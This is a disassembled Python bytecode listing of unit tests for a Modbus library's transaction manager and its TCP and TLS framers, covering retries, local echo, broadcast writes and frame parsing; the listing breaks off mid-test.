LOAD_METHOD _set_adu_size CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tm LOAD_METHOD _calculate_exception_length CALL_METHOD LOAD_FAST exception_length COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL count CALL_FUNCTION LOAD_FAST mock_time LOAD_ATTR time STORE_ATTR side_effect LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD STORE_FAST client LOAD_FAST self LOAD_ATTR _ascii LOAD_FAST client STORE_ATTR framer LOAD_CONST b'deadbeef' LOAD_FAST client LOAD_ATTR framer STORE_ATTR _buffer LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST client LOAD_ATTR framer STORE_ATTR processIncomingPacket LOAD_CONST None LOAD_FAST client LOAD_ATTR framer LOAD_ATTR processIncomingPacket STORE_ATTR return_value LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST client LOAD_ATTR framer STORE_ATTR buildPacket LOAD_CONST b'deadbeef' LOAD_FAST client LOAD_ATTR framer LOAD_ATTR buildPacket STORE_ATTR return_value LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST client LOAD_ATTR framer STORE_ATTR sendPacket LOAD_GLOBAL len LOAD_CONST b'deadbeef' CALL_FUNCTION LOAD_FAST client LOAD_ATTR framer LOAD_ATTR sendPacket STORE_ATTR return_value LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST client LOAD_ATTR framer STORE_ATTR decode_data LOAD_CONST 1 LOAD_CONST 222 LOAD_CONST 27 LOAD_CONST ('slave', 'fcode', 'length') BUILD_CONST_KEY_MAP LOAD_FAST client LOAD_ATTR framer LOAD_ATTR decode_data STORE_ATTR return_value LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD STORE_FAST request LOAD_CONST 10 LOAD_FAST request LOAD_ATTR get_response_pdu_size STORE_ATTR return_value LOAD_CONST 1 LOAD_FAST request STORE_ATTR slave_id LOAD_CONST 222 LOAD_FAST request STORE_ATTR function_code LOAD_GLOBAL ModbusTransactionManager LOAD_FAST client CALL_FUNCTION STORE_FAST trans LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST b'abcdef' LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv LOAD_FAST trans LOAD_ATTR retries LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST trans LOAD_ATTR retry_on_empty POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST trans STORE_ATTR getTransaction LOAD_CONST 'response' LOAD_FAST trans LOAD_ATTR getTransaction STORE_ATTR return_value LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_CONST 'response' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST b'abcdef' LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv BUILD_LIST LOAD_FAST trans STORE_ATTR transactions LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST trans STORE_ATTR getTransaction LOAD_CONST None LOAD_FAST trans LOAD_ATTR getTransaction STORE_ATTR return_value LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_GLOBAL isinstance LOAD_FAST response LOAD_GLOBAL ModbusIOException CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST True LOAD_FAST trans STORE_ATTR retry_on_empty LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_GLOBAL iter LOAD_CONST b'' LOAD_CONST b'abcdef' BUILD_LIST CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_GLOBAL isinstance LOAD_FAST response LOAD_GLOBAL ModbusIOException CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_GLOBAL iter LOAD_CONST b'abcdef' LOAD_CONST b'deadbe' LOAD_CONST b'123456' BUILD_LIST CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv LOAD_CONST True LOAD_FAST client LOAD_ATTR comm_params STORE_ATTR handle_local_echo LOAD_CONST False LOAD_FAST trans STORE_ATTR retry_on_empty LOAD_CONST False LOAD_FAST trans STORE_ATTR retry_on_invalid LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD LOAD_ATTR message LOAD_CONST '[Input/Output] Wrong local echo' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST False LOAD_FAST client LOAD_ATTR comm_params STORE_ATTR handle_local_echo LOAD_CONST True LOAD_FAST trans STORE_ATTR retry_on_invalid LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_GLOBAL iter LOAD_CONST b'' LOAD_CONST b'abcdef' LOAD_CONST b'deadbe' LOAD_CONST b'123456' BUILD_LIST CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_GLOBAL isinstance LOAD_FAST response LOAD_GLOBAL ModbusIOException CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_GLOBAL ModbusIOException CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST trans STORE_ATTR _recv LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_GLOBAL ModbusIOException CALL_FUNCTION LOAD_CONST ('side_effect',) CALL_FUNCTION LOAD_FAST client LOAD_ATTR framer LOAD_ATTR processIncomingPacket STORE_ATTR side_effect LOAD_GLOBAL isinstance LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD LOAD_GLOBAL ModbusIOException CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST True LOAD_FAST client LOAD_ATTR params STORE_ATTR broadcast_enable LOAD_CONST 0 LOAD_FAST request STORE_ATTR slave_id LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_CONST b'Broadcast write sent - no response expected' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST True LOAD_FAST client LOAD_ATTR comm_params STORE_ATTR handle_local_echo LOAD_CONST True LOAD_FAST client LOAD_ATTR params STORE_ATTR broadcast_enable LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST b'deadbeef' LOAD_CONST ('return_value',) CALL_FUNCTION STORE_FAST recv LOAD_FAST recv LOAD_FAST trans STORE_ATTR _recv LOAD_CONST 0 LOAD_FAST request STORE_ATTR slave_id LOAD_FAST trans LOAD_METHOD execute LOAD_FAST request CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_CONST b'Broadcast write sent - no response expected' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST recv LOAD_METHOD assert_called_once_with LOAD_CONST 8 LOAD_CONST False CALL_METHOD POP_TOP LOAD_CONST False LOAD_FAST client LOAD_ATTR comm_params STORE_ATTR handle_local_echo LOAD_CONST None RETURN_VALUE SETUP_LOOP to 52 LOAD_GLOBAL range LOAD_CONST 1 LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getNextTID CALL_METHOD LOAD_CONST 10 BINARY_ADD CALL_FUNCTION GET_ITER FOR_ITER to 50 STORE_FAST tid LOAD_FAST tid LOAD_CONST 1 BINARY_ADD LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getNextTID CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getNextTID CALL_METHOD LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Request at 0x7fa6f68180c0, file "f.py", line 200> LOAD_CONST 'Request' MAKE_FUNCTION LOAD_CONST 'Request' CALL_FUNCTION STORE_FAST Request LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST Request CALL_FUNCTION STORE_FAST handle LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getNextTID CALL_METHOD LOAD_FAST handle STORE_ATTR transaction_id LOAD_CONST b'testing' LOAD_FAST handle STORE_ATTR message LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD addTransaction LOAD_FAST handle CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getTransaction LOAD_FAST handle LOAD_ATTR transaction_id CALL_METHOD STORE_FAST result LOAD_FAST handle LOAD_ATTR message LOAD_FAST result LOAD_ATTR message COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTransaction.test_get_dict_fifo_transaction_manager_transaction.<locals>.Request' STORE_NAME __qualname__ LOAD_CONST 'Request.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Request at 0x7fa6f6818ae0, file "f.py", line 216> LOAD_CONST 'Request' MAKE_FUNCTION LOAD_CONST 'Request' CALL_FUNCTION STORE_FAST Request LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD reset CALL_METHOD POP_TOP LOAD_FAST Request CALL_FUNCTION STORE_FAST handle LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getNextTID CALL_METHOD LOAD_FAST handle STORE_ATTR transaction_id LOAD_CONST b'testing' LOAD_FAST handle STORE_ATTR message LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD addTransaction LOAD_FAST handle CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD delTransaction LOAD_FAST handle LOAD_ATTR transaction_id CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _manager LOAD_METHOD getTransaction LOAD_FAST handle LOAD_ATTR transaction_id CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTransaction.test_delete_dict_fifo_transaction_manager_transaction.<locals>.Request' STORE_NAME __qualname__ LOAD_CONST 'Request.' STORE_NAME __doc__ LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x124\x00\x04\xff\x02\x124' STORE_FAST msg LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _ascii LOAD_METHOD getFrame CALL_METHOD LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x124\x00\x04\xff\x02\x124' STORE_FAST msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg LOAD_CONST 7 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x124\x00' STORE_FAST msg1 LOAD_CONST b'\x04\xff\x02\x124' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg2 LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x124\x00\x04\xff' STORE_FAST msg1 LOAD_CONST b'\x02\x124' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST msg2 LOAD_FAST result COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x00\x01\x124\x00\x04\xff\x02\x12' STORE_FAST msg1 LOAD_CONST b'4' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg1 LOAD_CONST 7 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg1 LOAD_CONST 7 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR LOAD_FAST msg2 BINARY_ADD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x99\x99\x99\x99\x00\x01\x00\x01' STORE_FAST msg1 LOAD_CONST b'\x00\x01\x124\x00\x04\xff\x02\x124' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tcp DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR _tcp LOAD_ATTR _buffer CALL_FUNCTION LOAD_CONST 10 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg2 LOAD_CONST 7 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST expected LOAD_CONST 1 LOAD_FAST expected STORE_ATTR transaction_id LOAD_CONST 4660 LOAD_FAST expected STORE_ATTR protocol_id LOAD_CONST 255 LOAD_FAST expected STORE_ATTR slave_id LOAD_CONST b'\x00\x01\x124\x00\x04\xff\x02\x124' STORE_FAST msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tcp STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST actual LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD populateResult LOAD_FAST actual CALL_METHOD POP_TOP SETUP_LOOP to 106 LOAD_CONST ('transaction_id', 'protocol_id', 'slave_id') GET_ITER FOR_ITER to 104 STORE_FAST name LOAD_GLOBAL getattr LOAD_FAST expected LOAD_FAST name CALL_FUNCTION LOAD_GLOBAL getattr LOAD_FAST actual LOAD_FAST name CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ModbusRequest LOAD_ATTR encode STORE_FAST old_encode LOAD_CONST <code object <lambda> at 0x7fa6d804a810, file "f.py", line 328> LOAD_CONST 'TestTransaction.test_tcp_framer_packet.<locals>.<lambda>' MAKE_FUNCTION LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_GLOBAL ModbusRequest CALL_FUNCTION STORE_FAST message LOAD_CONST 1 LOAD_FAST message STORE_ATTR transaction_id LOAD_CONST 4660 LOAD_FAST message STORE_ATTR protocol_id LOAD_CONST 255 LOAD_FAST message STORE_ATTR slave_id LOAD_CONST 1 LOAD_FAST message STORE_ATTR function_code LOAD_CONST b'\x00\x01\x124\x00\x02\xff\x01' STORE_FAST expected LOAD_FAST self LOAD_ATTR _tcp LOAD_METHOD buildPacket LOAD_FAST message CALL_METHOD STORE_FAST actual LOAD_FAST expected LOAD_FAST actual COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST old_encode LOAD_GLOBAL ModbusRequest STORE_ATTR encode LOAD_CONST None RETURN_VALUE LOAD_CONST b'' RETURN_VALUE LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD isFrameReady CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg LOAD_CONST 0 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'' STORE_FAST msg1 LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls DUP_TOP LOAD_ATTR _buffer LOAD_FAST msg2 INPLACE_ADD ROT_TWO STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg2 LOAD_CONST 0 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'' STORE_FAST msg1 LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg2 LOAD_FAST msg1 LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_FAST msg2 LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _buffer LOAD_GLOBAL len LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _buffer CALL_FUNCTION LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD checkFrame CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD getFrame CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_FAST msg2 LOAD_CONST 0 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'' STORE_FAST msg1 LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg2 LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD decode_data LOAD_FAST msg1 CALL_METHOD STORE_FAST result LOAD_FAST result POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD decode_data LOAD_FAST msg2 CALL_METHOD STORE_FAST result LOAD_FAST result LOAD_CONST 'fcode' LOAD_CONST 1 BUILD_MAP COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD advanceFrame CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST b'\x01\x124\x00\x08' STORE_FAST msg LOAD_CONST 1 STORE_FAST slave LOAD_CONST <code object mock_callback at 0x7fa6d804a5d0, file "f.py", line 407> LOAD_CONST 'TestTransaction.test_framer_tls_incoming_packet.<locals>.mock_callback' MAKE_FUNCTION STORE_FAST mock_callback LOAD_GLOBAL mock LOAD_METHOD MagicMock CALL_METHOD LOAD_FAST self LOAD_ATTR _tls STORE_ATTR _process LOAD_GLOBAL mock LOAD_ATTR MagicMock LOAD_CONST False LOAD_CONST ('return_value',) CALL_FUNCTION LOAD_FAST self LOAD_ATTR _tls STORE_ATTR isFrameReady LOAD_FAST self LOAD_ATTR _tls LOAD_METHOD processIncomingPacket LOAD_FAST msg LOAD_FAST mock_callback LOAD_FAST slave CALL_METHOD POP_TOP LOAD_FAST msg LOAD_FAST self LOAD_ATTR _tls LOAD_ATTR _buffer COMPARE_OP == POP_JUMP_IF_TRUE 